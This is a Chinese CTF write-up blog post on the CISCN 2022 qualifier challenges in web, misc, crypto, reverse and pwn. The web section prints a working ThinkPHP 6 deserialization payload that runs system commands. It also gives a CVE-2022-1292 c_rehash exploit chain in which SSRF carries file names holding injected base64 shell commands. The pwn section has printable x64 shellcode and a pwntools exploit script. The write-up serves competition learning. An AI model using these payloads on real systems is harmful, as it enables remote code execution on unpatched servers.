CTF | 2022 CISCN 初赛 WriteUp


引言

第十五届全国大学生信息安全竞赛创新实践能力赛(CISCN 2022) - 线上初赛

http://www.ciscn.cn

比赛地址:

又是一年一度的国赛,今年比赛时间从 24h 修改成了 10h,属实比去年 CTF 高考轻松了不少(呜呜

今年国赛也是一堆 ddl 的夹缝中度过,不过不是和 Asuri 一起打啦(润啦),今年就和现在的校队师傅们组了个 xdlddw 战队来摸鱼。

(嗯,熊大佬带带我

这篇大部分来自 xdlddw 战队的 writeup,喵喵主要看的是 Web 和 Misc(以及非预期的 Crypto?),其他题目是队友做的,队友强强!

Web

Ezpop

最近,小明在学习php开发,于是下载了thinkphp的最新版,但是却被告知最新版本存在漏洞,你能找到漏洞在哪里吗?

www.zip 源码泄露,/www/app/controller/Index.php

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V' . \think\facade\App::version() . '<br/><span style="font-size:30px;">14载初心不改 - 你值得信赖的PHP框架</span></p><span style="font-size:25px;">[ V6.0 版本由 <a href="https://www.yisu.com/" target="yisu">亿速云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ee9b1aa918103c4fc"></think>';
    }

    public function hello($name = 'ThinkPHP6')
    {
        return 'hello,' . $name;
    }
    public function test()
    {
   	unserialize($_POST['a']);
    }
    
}

test 路由下接收一个参数 a,进行反序列化。

参考 ThinkPHP6.0.12LTS反序列漏洞分析

改一改 payload

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['cat /flag.txt']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model{
    }
}
namespace{
    echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

然后打到 /index.php/index/test 路由下就行了

POST /index.php/index/test HTTP/1.1
Host: eci-2ze4zrgge5xdi5zfbgbu.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __jsluid_h=8c268871dacd5c7b5c0add864501efde
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Content-Type: application/x-www-form-urlencoded
Cache-Control: no-cache
Content-Length: 1251

a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22cat+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D

online_crt

快来生成一个自己的ssl证书吧~

附件下载 提取码(GAME)备用下载

给了源码,后端包括 python 和 golang

先看这 Python 后端源码

import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
    root_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048,
        backend=default_backend()
    )
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
        x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
        x509.NameAttribute(NameOID.LOCALITY_NAME, City),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
        x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
        x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
    ])
    root_cert = x509.CertificateBuilder().subject_name(
        subject
    ).issuer_name(
        issuer
    ).public_key(
        root_key.public_key()
    ).serial_number(
        x509.random_serial_number()
    ).not_valid_before(
        datetime.datetime.utcnow()
    ).not_valid_after(
        datetime.datetime.utcnow() + datetime.timedelta(days=3650)
    ).sign(root_key, hashes.SHA256(), default_backend())
    crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
    with open(crt_name, "wb") as f:
        f.write(root_cert.public_bytes(serialization.Encoding.PEM))
    return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
    Country = request.form.get("Country", "CN")
    Province = request.form.get("Province", "a")
    City = request.form.get("City", "a")
    OrganizationalName = request.form.get("OrganizationalName", "a")
    CommonName = request.form.get("CommonName", "a")
    EmailAddress = request.form.get("EmailAddress", "a")
    return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
    json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
    return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
    uri = request.form.get("uri", "/")
    client = socket.socket()
    client.connect(('localhost', 8887))
    msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
    client.send(msg.encode())
    data = client.recv(2048)
    client.close()
    return data.decode()

app.run(host="0.0.0.0", port=8888)

/getcrt 生成一个证书

/createlink 路由 会调用 c_rehash 创建证书链接

搜了一下发现 openssl c_rehash 前不久就有个 CVE https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1292

根据修复的 diff 提示了在文件名处可以实现 rce

/proxy 路由可以构造 SSRF,调用 golang 后端。虽然用的是 GET 方法,但是和 POST 其实一样,都能处理 body 部分的 form 数据。

再看 golang 后端

package main

import (
	"github.com/gin-gonic/gin"
	"os"
	"strings"
)

func admin(c *gin.Context) {
	staticPath := "/app/static/crt/"
	oldname := c.DefaultQuery("oldname", "")
	newname := c.DefaultQuery("newname", "")
	if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
		c.String(500, "error")
		return
	}
	if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
		err := os.Rename(staticPath+oldname, staticPath+newname)
		if err != nil {
			return
		}
		c.String(200, newname)
		return
	}
	c.String(200, "no")
}

func index(c *gin.Context) {
	c.String(200, "hello world")
}

func main() {
	router := gin.Default()
	router.GET("/", index)
	router.GET("/admin/rename", admin)

	if err := router.Run(":8887"); err != nil {
		panic(err)
	}
}

/admin/rename 可以改名,于是想到把要执行的命令放到文件名,在 c_rehash 执行的时候就会执行了

不过有条件,需要 c.Request.URL.RawPath != "" && c.Request.Host == "admin"

后者的话直接在 /proxy 路由构造 SSRF Host 字段就可以了

前者的话,**RawPath只有在原始path中包含了转义字符时才会有值。**

认识GO语言url.URL结构体

于是整个流程理了一遍,可以开始做题了。

首先 /getcrt 新建一个证书,拿到文件名

然后构造文件名,根据 c_rehash 的源码,需要文件名以 .(pem)|(crt)|(cer)|(crl) 结尾

sub hash_dir {
	my %hashlist;
	print "Doing $_[0]\n";
	chdir $_[0];
	opendir(DIR, ".");
	my @flist = sort readdir(DIR);
	closedir DIR;
	if ( $removelinks ) {
		# Delete any existing symbolic links
		foreach (grep {/^[\da-f]+\.r{0,1}\d+$/} @flist) {
			if (-l $_) {
				print "unlink $_" if $verbose;
				unlink $_ || warn "Can't unlink $_, $!\n";
			}
		}
	}
	FILE: foreach $fname (grep {/\.(pem)|(crt)|(cer)|(crl)$/} @flist) {
		# Check to see if certificates and/or CRLs present.
		my ($cert, $crl) = check_file($fname);
		if (!$cert && !$crl) {
			print STDERR "WARNING: $fname does not contain a certificate or CRL: skipping\n";
			next;
		}
		link_hash_cert($fname) if ($cert);
		link_hash_cert_old($fname) if ($cert);
		link_hash_crl($fname) if ($crl);
		link_hash_crl_old($fname) if ($crl);
	}
}

不过试了半天 payload 最后发现好像不出网……

最后么得办法,构造 touch $(cat /flag),base64 编码一下,把 flag 写到文件名上

echo${IFS}"dG91Y2ggJChjYXQgL2ZsYWcp"|base64${IFS}-d|sh${IFS}-i

再配合合适的文件名,加上引号闭合掉

1.crt"||echo${IFS}"dG91Y2ggJChwcyAtZWZ8YmFzZTY0KQ=="|base64${IFS}-d|sh${IFS}-i"

然后构造 SSRF,闭合掉 /proxy 请求,设置 host 为 admin。

GET /proxy HTTP/1.1
Host: xxxx.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __jsluid_h=c526484542a6d2cfc5d4b1dbd1722c09
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIZBj4kiaMbZzC9WL
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 317

------WebKitFormBoundaryIZBj4kiaMbZzC9WL
Content-Disposition: form-data; name="uri"

/admin%2frename?oldname=f5f729cb-d402-4665-b12c-a55fcc970d9a.crt&newname=1.crt"||echo${IFS}"dG91Y2ggJChwcyAtZWZ8YmFzZTY0KQ=="|base64${IFS}-d|sh${IFS}-i" HTTP/1.1
Host: admin

GET /
------WebKitFormBoundaryIZBj4kiaMbZzC9WL--

或者也可以用 application/x-www-form-urlencoded,但是 path 中的转义需要二次 url 编码,否则会返回 400

然后再访问 /createlink 就可以得到回显的 flag

(别问,问就是试了几个小时怎么构造 payload 读 flag 再回显回来。。

赛后问了下其他师傅,说直接 cat /flag > 1,然后直接下载 /static/crt/1 就完事了。

草,static 目录下是能直接读的,我是废物了,浪费了一堆时间,呜呜

另外,其实还可以构造个带反引号的文件名,从而触发执行。但是由于 Linux 下的文件名不能包含目录分隔符 /(当然带有 \ 就可以) ,于是得找个变量来代替。

参考 白帽酱的 writeup,发现环境变量中 OLDPWD 的值刚好为我们所需要的 /

uri=/admin%2frename?oldname=d205092e-c641-423e-82f0-e96f583f3c38.crt&newname=0`cat ${OLDPWD}flag >miaotony`.crt

记得 urlencode 就行

(其实最开始喵喵就试过反引号执行了,但是不知道为啥不行,最后才知道是带有 / 的锅

Misc

ez_usb

简单的流量。

附件下载 提取码(GAME)备用下载

USB 数据抓包,2.8.1 和 2.10.1 两个设备都是键盘

筛选一下 usb.src == “2.10.1” || usb.dst == “2.10.1” 这样,导出特定分组

https://github.com/WangYihang/UsbKeyboardDataHacker 解码一下

[+] Found : 35c535765e50074a
[+] Found :     526172211a0700<CAP>c<CAP>f907300000d00000000000000c4527424943500300000002<CAP>a000000<CAP>02b9f9b0530778b5541d33080020000000666c61672<CAP>e<CAP>747874<CAP>b9b<CAP>a013242f3a<CAP>fc<CAP>000b092c229d6e994167c05<CAP>a7<CAP>8708b271f<CAP>fc<CAP>042ae3d251e65536<CAP>f9a<CAP>da87c77406b67d0<CAP>e6316684766<CAP>a86e844d<CAP>c81aa2<CAP>c72c71348d10c4<CAP>c<DEL>3d7b<CAP>00400700

去掉 CAP 和 DEL 之前的一个字符

526172211a0700cf907300000d00000000000000c4527424943500300000002a00000002b9f9b0530778b5541d33080020000000666c61672e747874b9ba013242f3afc000b092c229d6e994167c05a78708b271ffc042ae3d251e65536f9ada87c77406b67d0e6316684766a86e844dc81aa2c72c71348d10c43d7b00400700

发现其中 2.8.1 出来是个 rar 压缩包,里面有个 flag.txt,但是加密了

在 2.10.1 这个解密得到密码为 35c535765e50074a

拿去解压得到 flag

flag{20de17cc-d2c1-4b61-bebd-41159ed7172d}

everlasting_night

永恒的夜,又隐藏着什么真相?

附件下载 提取码(GAME)备用下载

仔细观察png数据块,通道隐藏的数据可以配合lsb隐写

(复现一下

开局一张图

everlasting_night

文件 hex 最后一串奇怪的东西

FB3EFCE4CEAC2F5445C7AE17E3E969AB

长度32,试了半天最后才知道这个是 md5

https://www.somd5.com/ 解一下,得到 ohhWh04m1

(这个居然 https://www.cmd5.com/ 还搜不到,离谱

图片 alpha2 层右下角有一排隐写

类似于 LSB,选择 column,导出一下

得到 f78dcd383f1b5734624b

同时 R0 G0 B0 都很明显存在 LSB 隐写,但是没看出有啥明显的可解密的东西

最后发现得用 cloacked-pixel

cloacked-pixel

Platform independent Python tool to implement LSB image steganography and a basic detection technique. Features:

  • Encrypt data before insertion.
  • Embed within LSBs.
  • Extract hidden data.
  • Basic analysis of images to detect LSB steganography.

f78dcd383f1b574b 作为密码进行解密

$ python2 lsb.py extract everlasting_night.png out f78dcd383f1b574b
[+] Image size: 1920x1080 pixels.
[+] Written extracted data to out.

得到个 zip,使用 ohhWh04m1 解压得到一个 flag 文件

看起来是个 png 但是打不开。

后缀改为 .data,使用 GIMP 修改宽度,最后得到 flag。

Crypto

签到电台

题目内容:豪密,是中国共产党和中国工农红军第一本无线电通讯密码的简称,由周恩来同志亲自编制,以周恩来党内化名“伍豪”命名,它是我党建立机要工作最早也是保密性能最强的一种密码,从二十世纪三十年代到全国解放,都始终未被破译。春秋GAME伽玛实验室团队通过对豪密的加密模式进行分析,并参考已有的文献资料,仿制豪密的加密方法,制作成一道题目,谨以此题致敬情报战线的先辈们。

请点击“下发赛题”,让我们一起穿越百年,追寻红色通信足迹。(关注“春秋伽玛”公众号,回复“签到电台”获取解题提示)

从题目以及微信提示获取明文和密码本,进行模10加法之后得到密文:2847974251850121377742262604

查看输入密文的网页,是一个模拟摩尔斯电码的电台,随意输入一些.和_,检查网络可以发现实际发送的就是密文,所以直接:

http://eci-2ze9sic3tak3xix1s6h3.cloudeci1.ichunqiu.com:8888/send?msg=2847974251850121377742262604

获取flag

基于挑战码的双向认证

请先下载说明文档 提取码(GAME)备用下载

本题含有两个flag,请点击“下发赛题”,本题容器下发后的端口是ssh端口,ssh的账号密码均为:player;ssh登录上去可自行修改密码。请参考说明文档,获取flag,并在本题提交第一个获取到的flag。

给出的服务器上文件读取权限设置不当(755),可以直接进入root目录下找到 cube-shell/instance/flag_server 中的 flag1.txt 和 flag2.txt。

基于挑战码的双向认证2

同上。

基于挑战码的双向认证3

给出的服务器上,root用户使用了弱密码(toor),直接登陆后同前两题直接读取即可。

(所以这三道 crypto 都被非预期了,笑死

ISO9798

nc 之后先进行一个SHA256爆破

import hashlib

dic="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
result='35d922f11e99a61a0d04ad7e45e4d403dc215857c39f378970d9af07015e39b6'
known="fGyesK450LYj7f1m"

for i in dic:
    for j in dic:
        for k in dic:
            for z in dic:
                key=i+j+k+z
                s=key + known
                h=hashlib.sha256(s.encode('ascii')).hexdigest()
                if h==result:
                    print(key)
                    exit(0)

然后得到四位XXXX,输入。
此时进入正题,要求输入 128 bits 随机数,生成一个即可。

from Crypto.Random import random

bit = random.getrandbits(128)
print(hex(bit))

该输入将作为 rB,服务器端会给出一个 rA 和 B,然后生成一个密钥参数 k,使用这些参数进行 AES 加密,其中使用 rA||rB||B 作为明文,得到一个128x3 bits 长的密文串,要求输入明文为 rB||rA 对应的密文。
根据题目性质,猜测使用的是 AES-ECB 模式,ECB实际上每一段之间没关系,把之前得到的密文(128x3 bits)的第二段和第一段交换后合并提交即可通过,最后服务器会给出 flag。

以下是当时给出的真实参数,虽然最后服务器给出的 flag 没有记录,但是在此列出这些参数作为交换并合并这一步的示例,其中 a 为输入的 128 bits rB,b 为 128x3 bits的密文,交换第一、二行后合并提交即可。

Reverse

baby_tree

可以看出这是由swift dump出的ast,对着ast一行一行翻译可以得到如下的c++代码:

bool check(std::string encoded, std::string keyValue)
{
    const char *b = encoded.c_str();
    const char *k = keyValue.c_str();
    unsigned char r0, r1, r2, r3;
    for (int i = 0; i < encoded.length() - 4; i++)
    {
        r0 = b[i];
        r1 = b[i + 1];
        r2 = b[i + 2];
        r3 = b[i + 3];
        b[i] = r2 ^ ((k[0] + (r0 >> 4)) & 0xff);
        b[i + 1] = r3 ^ ((k[1] + (r1 >> 2)) & 0xff);
        b[i + 2] = r0 ^ k[2];
        b[i + 3] = r1 ^ k[3];
        char k0 = k[0];
        k[0] = k[1];
        k[1] = k[2];
        k[2] = k[3];
        k[3] = k0;
    }
    char result[] = {88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16}
    return memcmp(b, result, sizeof(result));
}

int main(int argc, char *argv[])
{
    if (argc >= 2)
    {
        std::string data = argv[1];
        std::string key = "345y";
        bool result = check(data, key);
    }
}

因此可以得到解密的代码:

r1 = data[i + 3] ^ k[3]
r0 = data[i + 2] ^ k[2]
r3 = data[i + 1] ^ ((k[1] + (r1 >> 2)) & 0xff)
r2 = data[i] ^ ((k[0] + (r0 >> 4)) & 0xff)

由于k每次循环回做一次轮换,只需要遍历'345y''y345''5y34''45y3'这几个字符串,得出正确的key即可。

b = [88,35,88,225,7,201,57,94,77,56,75,168,72,218,64,91,16,101,32,207,73,130,74,128,76,201,16,248,41,205,103,84,91,99,79,202,22,131,63,255,20,16]
k = list('5y34'.encode())
data = [x for x in b]

print(len(b))

for i in range(len(b) - 4, -1, -1):
    r1 = data[i + 3] ^ k[3]
    r0 = data[i + 2] ^ k[2]
    r3 = data[i + 1] ^ ((k[1] + (r1 >> 2)) & 0xff)
    r2 = data[i] ^ ((k[0] + (r0 >> 4)) & 0xff)
    (data[i], data[i + 1], data[i + 2], data[i + 3]) = (r0, r1, r2, r3)
    (k[1], k[2], k[3], k[0]) = (k[0], k[1], k[2], k[3])

print(len(data))
print(bytes(data))

babycode

使用mruby -b -v babycode.mrb即可得到mruby字节码,对着字节码进行分析可以得到功能相近的python代码,很容易发现这是一种xtea加密的变体,写出解密代码即可获得flag。

分析出的功能相近的python代码以及解密代码如下:

from struct import unpack

class Crypt:
    class CIPHER:
        XX = 0x12345678
        YY = 16
        def encrypt(t, p):
            cip = Crypt.CIPHER()
            return cip._encrypt(t, p)
        def decrypt(t, p):
            c = [int(t[i:i+8], 16) for i in range(0, len(t), 8)]
            cip = Crypt.CIPHER()
            return cip._decrypt(c, p)
        def _encrypt(self, t, p):
            key = Crypt.CIPHER.to_key(p)
            c = []
            n = 0
            while n < len(t):
                num1 = int(ord(t[n])) << 24
                num1 += int(ord(t[n + 1])) << 16
                num1 += int(ord(t[n + 2])) << 8
                num1 += int(ord(t[n + 3]))
                num2 = int(ord(t[n + 4])) << 24
                num2 += int(ord(t[n + 5])) << 16
                num2 += int(ord(t[n + 6])) << 8
                num2 += int(ord(t[n + 7]))
                (enum1, enum2) = Crypt.CIPHER.enc_one(num1, num2, key)
                c.append(enum1)
                c.append(enum2)
                n += 8
            return ''.join(map(lambda x: '%.8x' % x, c))
        def _decrypt(self, t, p):
            key = Crypt.CIPHER.to_key(p)
            dec = []
            for i in range(0, len(t), 2):
                s = Crypt.CIPHER.YY * Crypt.CIPHER.XX
                y, z = t[i], t[i + 1]
                for turn in range(Crypt.CIPHER.YY):
                    z -= (((y << 3) ^ (y >> 5)) + y) ^ (s + key[(s + 1) & 3])
                    z &= 4294967295
                    s -= Crypt.CIPHER.XX
                    y -= (((z << 3) ^ (z >> 5)) + z) ^ (s + key[((s >> 11) + 1) & 3])
                    y &= 4294967295
                dec.append(y >> 24)
                dec.append((y >> 16) & 255)
                dec.append((y >> 8) & 255)
                dec.append(y & 255)
                dec.append(z >> 24)
                dec.append((z >> 16) & 255)
                dec.append((z >> 8) & 255)
                dec.append(z & 255)
            return dec
        def to_key(p):
            return unpack('LLLL', p.encode())
        def enc_one(num1, num2, key):
            y = num1
            z = num2
            s = 0
            for i in range(Crypt.CIPHER.YY):
                y += (((z << 3) ^ (z >> 5)) + z) ^ (s + key[((s >> 11) + 1) & 3])
                y &= 4294967295
                s += Crypt.CIPHER.XX
                z += (((y << 3) ^ (y >> 5)) + y) ^ (s + key[s & 3])
                z &= 4294967295
            return (y, z)

    def check(p):
        i = 0
        lst_ch = 0
        p = list(p)
        while i < len(p):
            c = ord(p[i])
            p[i] = chr(c ^ lst_ch ^ (i + 1))
            lst_ch = c
            i += 1
        p = ''.join(p)
        k = 'aaaassssddddffff'
        cipher_text = Crypt.CIPHER.encrypt(p, k)
        return cipher_text == 'f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb'

dec = Crypt.CIPHER.decrypt('f469358b7f165145116e127ad6105917bce5225d6d62a714c390c5ed93b22d8b6b102a8813488fdb', 'aaaassssddddffff')
for i in range(len(dec)):
    lst_ch = 0 if i == 0 else dec[i - 1]
    dec[i] = dec[i] ^ lst_ch ^ (i + 1)
print(''.join(map(chr, dec)))

p = input().strip()
if Crypt.check(p):
    print('yes')

Pwn

login-nomal

通过搜索可以找到x64可打印shellcode

https://nuoye-blog.github.io/2020/05/09/8002891b/

PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA

直接放入发现执行报错,使用反汇编得到汇编代码

push rax
push rax
pop rcx
push 0x41413030
pop rax
xor dword ptr [rcx + 0x30], eax
push 0x34303041
pop rax
xor dword ptr [rcx + 0x34], eax
push 0x41303041
pop rax
xor dword ptr [rcx + 0x38], eax
push rcx
pop rax
xor al, 0x34
push rax
push 0x30
pop rax
xor al, 0x30
push rax
pop rdx
push rax
push 0x41
pop rax
xor al, 0x7a
outsb dx, byte ptr [rsi]
outsd dx, dword ptr [rsi]
outsb dx, byte ptr [rsi]
push rdx
pop rcx
pop rdx
outsb dx, byte ptr [rsi]
pop r8

而题目中使用rdx作为跳转寄存器

.text:0000000000000E8B                 call    _mmap
.text:0000000000000E90                 cdqe
.text:0000000000000E92                 mov     [rbp+dest], rax
.text:0000000000000E96                 mov     rax, [rbp+s]
.text:0000000000000E9A                 mov     rdi, rax        ; s
.text:0000000000000E9D                 call    _strlen
.text:0000000000000EA2                 mov     rdx, rax        ; n
.text:0000000000000EA5                 mov     rcx, [rbp+s]
.text:0000000000000EA9                 mov     rax, [rbp+dest]
.text:0000000000000EAD                 mov     rsi, rcx        ; src
.text:0000000000000EB0                 mov     rdi, rax        ; dest
.text:0000000000000EB3                 call    _memcpy
.text:0000000000000EB8                 mov     rax, [rbp+dest]
.text:0000000000000EBC                 mov     [rbp+var_20], rax
.text:0000000000000EC0                 mov     rdx, [rbp+var_20]
.text:0000000000000EC4                 mov     eax, 0
.text:0000000000000EC9                 call    rdx
.text:0000000000000ECB                 jmp     short loc_EE3

对shellcode进行修改可得:

push rdx
push rdx
pop rcx
push 0x41413030
pop rax
xor dword ptr [rcx + 0x30], eax
push 0x34303041
pop rax
xor dword ptr [rcx + 0x34], eax
push 0x41303041
pop rax
xor dword ptr [rcx + 0x38], eax
push rcx
pop rax
xor al, 0x34
push rax
push 0x30
pop rax
xor al, 0x30
push rax
pop rdx
push rax
push 0x41
pop rax
xor al, 0x7a
.byte 0x6e
.byte 0x6f
.byte 0x4e
.byte 0x44
.byte 0x6e
.byte 0x52
.byte 0x59
.byte 0x5a
.byte 0x6e
.byte 0x43
.byte 0x58
.byte 0x41

编译一下发现其实就是前两个字符不同

In [8]: asm('push rdx')
Out[8]: b'R'

In [9]: asm('push rax')
Out[9]: b'P'

直接改前两个字符

from pwn import *
p=process('./login')
p.sendlineafter(b'>>>',b'opt:1\nmsg:ro0tt\n')
p.sendlineafter(b'>>>',b'opt:2\nmsg:RRYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA1\n')
p.interactive()

小结

场景实操排名

总排名

华东南太卷啦!

场景实操 / CTF 打了全国第33名,华东南赛区第9;总排名全国第34,华东南第10。

xdlddw!

另外,感觉 i春秋 这次分数设置得有点不合理,最低分设成了8pts,500->8 曲线太陡峭了,于是最后分差都很小,挺离谱的。

就这样吧,摸了。队友们强强!

经过两个多月的努力,上海终于进入全面恢复正常生产生活阶段了(终于解封了啊…… 太难了

溜了溜了喵(


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录